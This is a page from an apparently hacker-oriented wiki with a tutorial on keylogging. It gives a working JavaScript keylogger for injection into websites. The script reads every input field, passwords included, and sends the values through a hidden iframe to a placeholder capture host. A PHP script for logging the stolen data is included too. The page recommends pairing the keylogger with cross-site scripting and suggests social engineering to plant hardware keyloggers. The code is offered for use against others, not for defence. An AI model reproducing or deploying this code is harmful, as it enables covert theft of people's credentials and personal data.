Site Notice:"Aggressive nihilism versus wrathful lynch mobbing" - Why can't we have both, Gawker?

Keylogging

From /i/nsurgency W/i/ki

Jump to: navigation, search

Keylogging is the fact of recording the keys pressed by the user when entering data so that you can know what the target typed, including passwords and crap.

Contents

[edit] Javascript keylogger

The most used one concerning website hacking.

//---Javascript
//This is an example of a keylogger. There is also a php file on this article you can use to capture the data.
randVal = 'loldongs'+(Math.round((10000-5000) * Math.random() + 5000));
wp='<div style=":display:block;width:0;height:0;z-index:0;overflow:hidden;" id="'+randVal+'"></div>';
window.onload=function(){
	window.document.body.innerHTML='<div onkeyup="kl();">'+window.document.body.innerHTML+wp+'</div>';
}
function kl(){
	inp=document.getElementsByTagName('input');
	qs='';
	for(var i = 0; i < inp.length; i++){
		qs=qs+i+'_'+inp[i].name+'='+inp[i].value+'&';
	}
	cn=document.getElementById(randVal);
	kf='<iframe style="width:0;height:0;" src="http://CAPTUREHOST/capture.php?'+qs+'"></iframe>';
	cn.innerHTML=kf;
}

This sample basically calls the kl() function each time a key is pressed. This one sends the reference of the key(s) to this script, on the hacker's server :

//---capture.php
//This will catch all data passed as querystrings and save them in a readable format with IP, referrer & timestamp 
<?php
	$dumpFile = "dump";
	$fh = fopen($dumpFile, 'a') or die("can't open file");
	fwrite($fh, date("m/d/y_g:i:s").'|'.$_SERVER['REMOTE_ADDR'].'|'.$_SERVER['HTTP_REFERER'].'|');
	foreach($_GET as $qs => $val){
		fwrite($fh, $qs."=".$val.'|');
	}
	fwrite($fh, "\n");
	fclose($fh);
?>

Everything is stored in the dumpfile and a normal user can't see he is being spied on.

This kind of keylogger is often used in combination with Cross site scripting.

[edit] Hardware keylogger

This one is a tiny device more often than not plugged between the computer and the keyboard of the target. Since this is a real life hack, you may use Social Engineering in order to gain access to the target's office or such.

If you want to know more about these : Wikipedia

[edit] Software keylogger

Often implemented via as virus or such, this keylogger runs on the target's computer like a normal program and logs every key he press.

[edit] Linux

[edit] Wind$

To be completed




Book-48.png Keylogging is part of a series on Tutorials.
Personal tools
Invasion Boards

FMP256 Flash Music Playhead

To listen you must install Flash Player. Visit Draftlight Networks for more info.


True Teen Babes
Your Ad Here